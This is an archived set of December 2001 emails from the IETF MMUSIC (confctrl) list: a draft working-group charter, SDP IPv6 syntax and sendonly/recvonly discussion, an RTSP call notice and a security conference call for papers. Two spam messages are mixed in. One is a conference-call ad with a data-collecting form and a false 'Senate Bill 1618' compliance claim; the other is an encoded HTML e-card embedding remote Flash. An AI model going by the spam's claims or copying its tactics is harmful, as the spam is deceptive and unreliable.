Received: from localhost (localhost.localdomain [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBBFjCJ04465
	for <csp@localhost>; Tue, 11 Dec 2001 10:45:12 -0500
Received: from localhost.localdomain [127.0.0.1]
	by localhost with POP3 (fetchmail-5.9.0)
	for csp@localhost (single-drop); Tue, 11 Dec 2001 10:45:12 -0500 (EST)
Received: from zephyr.isi.edu (zephyr.isi.edu [128.9.160.160])
	by east.east.isi.edu (8.11.3/8.11.3) with ESMTP id fBBFfT122453;
	Tue, 11 Dec 2001 10:41:29 -0500 (EST)
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA01791
	for confctrl-outgoing; Tue, 11 Dec 2001 07:37:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA01786
	for <confctrl@zephyr.isi.edu>; Tue, 11 Dec 2001 07:37:49 -0800 (PST)
Received: from purple.nge.isi.edu (230-200-131-12.bellhead.com [12.131.200.230])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBBFcYg12948
	for <confctrl@isi.edu>; Tue, 11 Dec 2001 07:38:35 -0800 (PST)
Received: from purple.nge.isi.edu (csp@localhost)
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBBFcUV04366
	for <confctrl@isi.edu>; Tue, 11 Dec 2001 10:38:30 -0500
Message-Id: <200112111538.fBBFcUV04366@purple.nge.isi.edu>
To: confctrl@ISI.EDU
Subject: Draft MMUSIC Charter
Date: Tue, 11 Dec 2001 10:38:30 -0500
From: Colin Perkins <csp@ISI.EDU>
X-UIDL: *cB"!7>5"!Ml/!!JH""!
Resent-To: confctrl@ISI.EDU
Resent-cc: mmusic@ietf.org
Resent-Date: Thu, 13 Dec 2001 23:12:35 -0500
Resent-From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

I enclose our draft for a new MMUSIC charter, comments would be appreciated. 

Note that the new mailing list is now ready for subscription, and that we
will be discontinuing use of the confctrl@isi.edu list shortly. You should
subscribe to the new list - we will not be automatically transferring
subscriptions.

Colin and Joerg





Multiparty MUltimedia SessIon Control (MMUSIC)
==============================================

WG chairs:

Joerg Ott, ipDialog, Inc. <jo@ipdialog.com>
Colin Perkins, USC/ISI    <csp@isi.edu>

Mailing Lists: 

General Discussion:  mmusic@ietf.org
To Subscribe:	     mmusic-request@ietf.org
Info & Archive:	     http://www.ietf.org/mailman/listinfo/mmusic
Additional web page: http://www.dmn.tzi.de/ietf/mmusic/

Description of Working Group: 

The Multiparty MUltimedia SessIon Control (MMUSIC) Working Group (WG)
was chartered to develop protocols to support Internet
teleconferencing sessions.  These protocols are now reasonably mature,
and many of them have received widespread deployment.  MMUSIC is now
focussing on the revisions of these in the light of implementation
experience and additional demands that have arisen from other WGs
(such as AVT, SIP, SIPPING, and MEGACO).

All types of multimedia communications are based upon a common
platform for expressing media streams (session) descriptions. This is
the session description protocol, SDP.  The many uses of SDP have led
to (requests for) numerous extensions, and have led to recognition of
several flaws in the protocol design for key applications of SDP.
MMUSIC will revise the SDP specification suitable for publication as a
draft standard to address minor revision and further support the
current broad deployment.  Work on an SDP MIB will be considered.

A few extensions to SDP will be pursued to remedy the most urgent of
SDP's shortcomings: However, these are limited to, adding means for
identifying and semantically grouping media sessions, providing
limited expressiveness for simultaneous capabilities, offering support
to work with NATs and firewalls, and documenting the use of SDP in SIP
as a separate document.  Apart from these, only extensions within the
existing framework of SDP will be done -- such as registering new
codecs and defining parameters for them as well as extending SDP to
include new address families.

Instead, to address the more fundamental issues with SDP, a next
generation of SDP -- referred to as SDPng -- will be developed as a
standards track document.  A requirements document will be devised
that gathers the individual requirements from the areas in which SDP
is currently deployed.  Work on an SDPng MIB will be considered.

MMUSIC will continue to maintain and revise the specification of the
Real Time Streaming Protocol (RTSP) based on implementation
experience.  The RTSP spec will be revised to include various fixes
and clarifications.  Depending on the changes, the revised RTSP spec
will be re-issued as Proposed or go to Draft Standard.  A MIB will
also be defined.

The WG's work items will be pursued in close coordination with other
IETF WGs related to multimedia conferencing and IP telephony (AVT,
SIP, SIPPING, IPTEL, MEGACO).  Where appropriate, new separate working
groups will be split off (as has happened with the SIP WG).

The Working Group is also charged with addressing security issues
related to the protocols it develops.


Goals and Milestones:

DONE   Submit ATM Extensions to SDP for Proposed Standard

DONE   Submit Mbus transport for Informational

DONE   Submit ATM Extensions to SDP for Proposed Standard

Dec 01 Submit SDP simultaneous capabilities for Proposed Standard

Dec 01 Submit SDP Flow Identification for Proposed Standard

Jan 02 Submit IPv6 Extensions to SDP for Proposed Standard

Feb 02 Submit revised SDP spec for Proposed (or Draft) Standard

Feb 02 Submit SIP's offer/answer use of SDP for Proposed Standard

Mar 02 Submit SDP4NAT for Proposed Standard (Informational?) 

Mar 02 Submit SDP key management for Proposed Standard

Apr 02 Submit SDPng base spec for Proposed Standard

Apr 02 Submit SDPng audio profile for Proposed Standard

May 02 Submit revised RTSP spec for Proposed or Draft Standard (as appropriate)

Jun 02 Submit SDPng video profile spec for Proposed Standard

Jul 02 Submit RTSP MIB for Proposed Standard

From confctrl-owner  Thu Dec 13 21:00:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA14339
	for confctrl-outgoing; Thu, 13 Dec 2001 21:00:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA14333
	for <confctrl@zephyr.isi.edu>; Thu, 13 Dec 2001 21:00:07 -0800 (PST)
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBE50qg29131;
	Thu, 13 Dec 2001 21:00:52 -0800 (PST)
Received: from INET-VRS-03.redmond.corp.microsoft.com ([157.54.5.27]) by mail3.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 13 Dec 2001 21:00:46 -0800
Received: from 157.54.8.155 by INET-VRS-03.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 13 Dec 2001 21:00:46 -0800
Received: from red-imc-02.redmond.corp.microsoft.com ([157.54.9.107]) by inet-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 13 Dec 2001 21:00:46 -0800
Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 13 Dec 2001 21:00:45 -0800
Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3588.0);
	 Thu, 13 Dec 2001 20:59:14 -0800
x-mimeole: Produced By Microsoft Exchange V6.0.6092.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: draft-olson-sdp-ipv6-02.txt
Date: Thu, 13 Dec 2001 20:59:14 -0800
Message-ID: <F66A04C29AD9034A8205949AD0C9010401C0E3FB@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: draft-olson-sdp-ipv6-02.txt
Thread-Index: AcGDN47LgDuhqJCZRlylnVAfOA3fxgBI8F+A
From: "Christian Huitema" <huitema@windows.microsoft.com>
To: "Mandato, Davide" <mandato@sony.de>,
        "Gonzalo Camarillo" <Gonzalo.Camarillo@lmf.ericsson.se>,
        "mmusic" <confctrl@ISI.EDU>
Cc: "Sean Olson (EUS)" <sean.olson@ericsson.com>,
        "Colin Perkins" <csp@ISI.EDU>, "Joerg Ott" <jo@tzi.uni-bremen.de>
X-OriginalArrivalTime: 14 Dec 2001 04:59:14.0800 (UTC) FILETIME=[13DA0F00:01C1845C]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id VAA14334
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> ABNF Syntax:
> 
> hexpart =	hexseq | hexseq "::" [hexseq] | "::" [hexseq]
> hexseq =    hex4 *(":" hex4)
> 
> we think this should look like the following:
> 
> hexpart =	[hex4 n*(":" hex4)] "::" [hex4 m*(":" hex4)]
>             ; 0 <= n <= 6
>             ; m = 6 - n - j
>             ; 0 <= j <= 6 - n
>             ; n = 0 when term hex4 n*(":" hex4) does not appear

In fact, the syntax should be:

ipv6-address = [hexseq]["::" [hexseq]][":" ipv4-address]
hexseq = hex1to4 7*(":" hex1to4 )
hex1to4 = 4*1HEXDIGIT

But all this is probably too complex. Just noting:
ipv6-address = *( HEXDIGIT | "." | ":" )
		; as defined in IPv6 addressing architecture
would probably be sufficient at this point. 

-- Christian Huitema 

From confctrl-owner  Fri Dec 14 07:15:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA04348
	for confctrl-outgoing; Fri, 14 Dec 2001 07:15:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA04341
	for <confctrl@zephyr.isi.edu>; Fri, 14 Dec 2001 07:15:16 -0800 (PST)
Received: from mysvr.meiyang.com.cn ([61.144.180.47])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBEFG1g10728
	for <confctrl@isi.edu>; Fri, 14 Dec 2001 07:16:02 -0800 (PST)
Date: Fri, 14 Dec 2001 07:16:02 -0800 (PST)
Received: from mail.trans-usa.com by mysvr.meiyang.com.cn; Fri, 14 Dec 2001 23:18:18 +0800
From: "Builders@trans-usa.com" <Builders@trans-usa.com>
To: "0036@msn.com" <0036@msn.com>
Message-ID: <1008364320.0264317001@mail.trans-usa.com>
Subject: Conference calls/best quality/$.18 per minute!
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D=22text/html; charset=3Dwindows-1=
252=22>
<META content=3D=22MSHTML 5.50.4134.600=22 name=3DGENERATOR></HEAD>
<BODY vLink=3D=23c0c0c0 link=3D=23c0c0c0 bgColor=3D=23000000 leftMargin=3D0><F=
ONT 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D=23999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23ff0000 size=3D5><B>Connects Up To 100 Participants=21</=
B></FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D=23999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBOD=
Y></TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23999999 size=3D4>If you like saving =
money, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23999999 size=3D2>Required Input Field<FONT color=3D=23ff0=
000 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D=23333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D=23ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inbocks1=40yahoo.com?subject=3DConference_Inqu=
iry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D=22100%=22>
        <TBODY>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D=22Submit Information=22 name=3Dsubmit=
> 
    </FORM></P></TD></TR></TBODY></TABLE>
<BR><BR>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D=22Arial, Helvetica, sans-serif=22 colo=
r=3D=23999999 
      size=3D1>This ad is being sent in compliance with Senate Bill 1618=
, Title 3, Section 301.
      You have recently visited our web site, referral or affiliate sit=
es which indicated you were 
      interested in communication services.  If this email is reaching =
you in error and you feel that you have not contacted 
      us, <FONT color=3D=23666666><A href=3D=22mailto:delete1_5=40yahoo.com?=
subject=3DRemove_Conferencing=22>Click 
      here</A></FONT>. We sincerely apologize, and assure you will be r=
emoved from our distribution list.
</FONT></TD></TR></TBODY></TABLE></P></CENTER></BODY></HTML>

From confctrl-owner  Fri Dec 14 07:44:26 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA05316
	for confctrl-outgoing; Fri, 14 Dec 2001 07:44:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA05311
	for <confctrl@zephyr.isi.edu>; Fri, 14 Dec 2001 07:44:25 -0800 (PST)
Received: from topaz.3com.com (topaz.3com.com [192.156.136.158])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBEFjBg17899
	for <confctrl@isi.edu>; Fri, 14 Dec 2001 07:45:11 -0800 (PST)
Received: from opal.3com.com (opal.3com.com [139.87.50.117])
	by topaz.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fBEFj6u29334;
	Fri, 14 Dec 2001 07:45:06 -0800 (PST)
Received: from hqsmtp01.3com.com (hqsmtp01.ops.3com.com [139.87.49.79])
	by opal.3com.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id fBEFj6Y05382;
	Fri, 14 Dec 2001 07:45:06 -0800 (PST)
Subject: Usage of sendrecv, sendonly, recvonly for separate port numbers for sending
 and receving media
To: sip@ietf.org, confctrl@ISI.EDU
Cc: Michael_Homeier@3com.com
From: Anoop_Tripathi@3com.com
Date: Fri, 14 Dec 2001 09:45:56 -0600
Message-ID: <OFB2F4CCF7.657A50B5-ON86256B22.0055546F@3com.com>
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Previous bis drafts had a section on SDP usage. While this has been removed
from bis-05, lot of us still refer to that section to clear some issues.
Howver, there is one conflicting issue that I wanted the SIP/SDP gurus to
comment on.
Bis-03 states that no assumption should be made about the source address
and port number of RTP/RTCP sender. The parameters sendrecv, recvonly,
sendonly are not meant to indicate the source address and port. While the
SDP RFC 2327 states just the opposite.

My question is: "If I want to send media from a separate port and receive
media on a different port, but use the same codec, do I put my SDP
parameters as
1) "sendrecv" or
2) Two separate with different "sendonly" and "recvonly" parameters.

Excerpt from bis-03

Section B.2.1 : The IP address and port present in the offer indicate
nothing about the source IP address and source port of RTP and RTCP packets
that will
   be sent by the offerer.


Excerpt from SDP RFC 2327

Page 24: a=sendonly
       This specifies that the tools should be started in send-only
       mode.  An example may be where a different unicast address is to
       be used for a traffic destination than for a traffic source. In
       such a case, two media descriptions may be use, one sendonly and
       one recvonly.

Thanks for your help with clarification,

Anoop


From confctrl-owner  Fri Dec 14 14:15:10 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA18971
	for confctrl-outgoing; Fri, 14 Dec 2001 14:15:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA18966
	for <confctrl@zephyr.isi.edu>; Fri, 14 Dec 2001 14:15:09 -0800 (PST)
Received: from prognet.com ([205.219.198.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBEMFtg05297
	for <confctrl@isi.edu>; Fri, 14 Dec 2001 14:15:55 -0800 (PST)
Received: from goomoon.real.com (12-231-29-208.client.attbi.com [12.231.29.208] (may be forged))
	by prognet.com (8.9.2/8.9.0) with ESMTP id OAA01049
	for <confctrl@isi.edu>; Fri, 14 Dec 2001 14:16:03 -0800 (PST)
Message-Id: <5.1.0.14.2.20011213210706.01dcd140@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 13 Dec 2001 21:20:19 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: RTSP issue tracking teleconference
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

We plan on setting up a teleconference for sometime at the beginning of the 
year (January 8, 10am I think is the tentative time).  We'd like to have a 
discussion about the following list:

http://sourceforge.net/tracker/index.php?group_id=23194&atid=377744&_group=166369

Please let me know if you would like to call in for this.  We reserve the 
right to trim the list if it gets too large ("we" being Henning and I [and 
Anup once we let him know...if you're reading, Hi Anup!] with oversight 
from the chairs of this working group).  One of the trimming algorithms we 
may use is whether you've expressed an opinion on this email list regarding 
at least one of the issues in the list above (favoring those who have), so 
please start the discussion on this list.

No decisions will be final, and we plan to send email to this list with 
resolutions and enter resolutions in the bug tracker.

Thanks
Rob



From confctrl-owner  Fri Dec 14 20:50:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA03520
	for confctrl-outgoing; Fri, 14 Dec 2001 20:50:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA03509
	for <confctrl@zephyr.isi.edu>; Fri, 14 Dec 2001 20:50:55 -0800 (PST)
Received: from www.yahho.com (28.c210-85-16.ethome.net.tw [210.85.16.28])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBF4pJg29828;
	Fri, 14 Dec 2001 20:51:23 -0800 (PST)
Date: Fri, 14 Dec 2001 20:51:23 -0800 (PST)
Received: from tpts6
	by titan.seed.net.tw with SMTP id wBJB9nECXDiVyHd5GG8r5ZI;
	Sat, 15 Dec 2001 12:58:49 +0800
Message-ID: <7nv3zt9@mars.seed.net.tw>
From: Santa@yahoo.com
To: 
Subject: Merry Christmas
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_dWS8e4H5ubXjneRRoat"
X-Mailer: oZma3iezzmlIMEBlK
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_dWS8e4H5ubXjneRRoat
Content-Type: multipart/alternative;
	boundary="----=_NextPart_dWS8e4H5ubXjneRRoatAA"


------=_NextPart_dWS8e4H5ubXjneRRoatAA
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: base64

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5VbnRpdGxlZCBEb2N1bWVudDwvdGl0bGU+DQo8bWV0YSBo
dHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1iaWc1
Ij4NCjwvaGVhZD4NCg0KPGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiI+DQo8b2JqZWN0IGNsYXNzaWQ9
ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0
dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dm
bGFzaC5jYWIjdmVyc2lvbj00LDAsMiwwIiB3aWR0aD0iNTUwIiBoZWlnaHQ9IjMyNCI+DQogIDxw
YXJhbSBuYW1lPSJfY3giIHZhbHVlPSIxNDU1MiI+DQogIDxwYXJhbSBuYW1lPSJfY3kiIHZhbHVl
PSI4NTczIj4NCiAgPHBhcmFtIG5hbWU9Ik1vdmllIiB2YWx1ZT0iaHR0cDovL3d3dy5pdmlkZW8u
Y29tLnR3L2ZsYXNoL2UtY2FyZC5zd2YiPg0KICA8cGFyYW0gbmFtZT0iU3JjIiB2YWx1ZT0iaHR0
cDovL3d3dy5pdmlkZW8uY29tLnR3L2ZsYXNoL2UtY2FyZC5zd2YiPg0KICA8cGFyYW0gbmFtZT0i
V01vZGUiIHZhbHVlPSJXaW5kb3ciPg0KICA8cGFyYW0gbmFtZT0iUGxheSIgdmFsdWU9IjAiPg0K
ICA8cGFyYW0gbmFtZT0iTG9vcCIgdmFsdWU9Ii0xIj4NCiAgPHBhcmFtIG5hbWU9IlF1YWxpdHki
IHZhbHVlPSJIaWdoIj4NCiAgPHBhcmFtIG5hbWU9IlNBbGlnbiIgdmFsdWU+DQogIDxwYXJhbSBu
YW1lPSJNZW51IiB2YWx1ZT0iLTEiPg0KICA8cGFyYW0gbmFtZT0iQmFzZSIgdmFsdWU+DQogIDxw
YXJhbSBuYW1lPSJTY2FsZSIgdmFsdWU9IlNob3dBbGwiPg0KICA8cGFyYW0gbmFtZT0iRGV2aWNl
Rm9udCIgdmFsdWU9IjAiPg0KICA8cGFyYW0gbmFtZT0iRW1iZWRNb3ZpZSIgdmFsdWU9IjAiPg0K
ICA8cGFyYW0gbmFtZT0iQkdDb2xvciIgdmFsdWU+DQogIDxwYXJhbSBuYW1lPSJTV1JlbW90ZSIg
dmFsdWU+DQogIDxwYXJhbSBuYW1lPSJTdGFja2luZyIgdmFsdWU9ImJlbG93Ij48ZW1iZWQgc3Jj
PSJodHRwOi8vd3d3Lml2aWRlby5jb20udHcvZmxhc2gvZS1jYXJkLnN3ZiIgcXVhbGl0eT0iaGln
aCIgcGx1Z2luc3BhZ2U9Imh0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vc2hvY2t3YXZlL2Rvd25s
b2FkL2luZGV4LmNnaT9QMV9Qcm9kX1ZlcnNpb249U2hvY2t3YXZlRmxhc2giIHR5cGU9ImFwcGxp
Y2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoIiB3aWR0aD0iNTUwIiBoZWlnaHQ9IjMyNCI+IA0KPC9v
YmplY3Q+IA0KDQo8cD48YSBocmVmPSJodHRwOi8vd3d3Lml2aWRlby5jb20udHcvZmxhc2gvcm9t
YW5jZS5hc3AiPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cuaXZpZGVvLmNvbS50dy9m
bGFzaC9pbWFnZXMvaG9tZV8xLmdpZiIgd2lkdGg9IjE1MiIgaGVpZ2h0PSI3MCI+PC9hPjwvcD4N
CjwvYm9keT4NCjwvaHRtbD4=


------=_NextPart_dWS8e4H5ubXjneRRoatAA--
------=_NextPart_dWS8e4H5ubXjneRRoat--




From confctrl-owner  Mon Dec 17 00:14:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA11867
	for confctrl-outgoing; Mon, 17 Dec 2001 00:14:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA11862
	for <confctrl@zephyr.isi.edu>; Mon, 17 Dec 2001 00:14:36 -0800 (PST)
Received: from e5.ijs.si (IDENT:qmailr@kekec.e5.ijs.si [193.138.1.2])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBH8FNg24514
	for <confctrl@isi.edu>; Mon, 17 Dec 2001 00:15:23 -0800 (PST)
Received: (qmail 3329 invoked by uid 507); 17 Dec 2001 08:15:21 -0000
Message-ID: <20011217081521.3328.qmail@e5.ijs.si>
From: tomaz@e5.ijs.si
Subject: CMS'2002
To: confctrl@ISI.EDU
Date: Mon, 17 Dec 2001 09:15:21 +0100 (CET)
X-Mailer: ELM [version 2.5 PL0pre8]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

_________________________________________________________________________

                           CALL FOR PAPERS

                           The sixth IFIP 
            Communications and Multimedia Security Conference 
                             (CMS 2002)

		Joint working conference IFIP TC6 and TC11

                         September 26-27, 2002
                           Portoroz, Slovenia
     
                     http://www.setcce.org/cms2002/
_________________________________________________________________________
       

IMPORTANT DEADLINES:

   Submission of full papers:     March 08, 2002
   Notification of acceptance:    April 25, 2002
   Camera-ready papers:           May 24, 2002


CONFERENCE INFORMATION:

CMS 2002 is the sixth working conference on Communications and Multimedia 
Security since 1995. State-of-the-art issues as well as practical experiences 
and new trends in the areas will be the topics of interest again, as proven 
by preceding conferences.  

Topics of interest include, but are not limited to 

   * Applied cryptography 
   * Biometry 
   * Combined multimedia security 
   * Communications systems security 
   * Cryptography - steganography
   * Digital signatures
   * Digital watermarking
   * Internet, intranet and extranet security 
   * Legal, social and ethical aspects of communication systems security 
   * Mobile communications security 
   * Multimedia systems security 
   * New generation networks (NGN) security
   * Possible attacks on multimedia systems 
   * Secure electronic commerce

The conference is jointly organised by SETCCE, Institut "Jozef Stefan" and 
ISOC-SI.


INSTRUCTIONS FOR AUTHORS:

Authors are strongly encouraged to submit their papers electronically. 
Please email your submission in postcscript or PDF format to cms02@setcce.org.

Authors unable to submit electronically are invited to send a cover letter and 
5 (five) copies of an anonymous paper to the General Chair at the postal 
address below. Submissions must be received by the General Chair on or before 
March 8, 2002. The cover letter should contain the paper's title and the names 
and affiliations of the authors, and should identify the contact author
including e-mail and postal addresses. 

Authors are asked to submit original papers only. Papers that have previously 
been published and papers that are currently being considered for publication 
by another journal or conference are not eligible. All submitted papers will 
be refereed by members of the International Program Committee for correctness, 
originality, relevance to the conference, and quality of presentation.  

All submissions must be in English. The paper must be anonymous, with no author 
names, affiliations, acknowledgements, or obvious references. It should begin 
with a title, a short abstract, and a list of key words, and its introduction 
should summarise the contributions of the paper at a level appropriate for 
a non-specialist reader. The paper should be at most 5000 words long. A full
page figure is 500 words.

Conference proceedings will be published by Kluwer Academic Publishers. 
Therefore authors are encouraged to use for their submissions the Kluwer IFIP
templates for LaTeX or Word. Style templates are available at 
http://www.wkap.com/ifip/styles/ or http://www.setcce.org/cms2002/styles/
Copies of the proceedings will be available at the conference.  

To submit a paper, or for further details, please contact: 
  Prof. Borka Jerman-Blazic
  Institut Jozef Stefan
  Jamova 39
  SI-1000 Ljubljana
  Slovenia

  e-mail: cms02@setcce.org
  www: http://www.setcce.org/cms2002/


VENUE:

The conference will take place in Portoroz, the beautiful Mediterranean 
seaside resort in Slovenia (http://www.portoroz2002.ki.si/portoroz.htm).


ORGANIZING COMMITTEE:

   * Organizing Chair: Alenka Pahor Zvanut, SETCCE
		       Address: Jamova 39, SI-1000 Ljubljana, Slovenia
		       E-mail:  centre@setcce.org


PROGRAM COMMITTEE:

   * General Chair: Borka Jerman-Blazic, Institut Jozef Stefan, Slovenia
   * Program Co-Chair: Tomaz Klobucar, Institut Jozef Stefan, Slovenia

   * Augusto Casaca, INESC, chairman IFIP TC6, Portugal
   * David Chadwick, University of Salford, UK 
   * Bart de Decker, Katholieke Universiteit Leuven, Belgium 
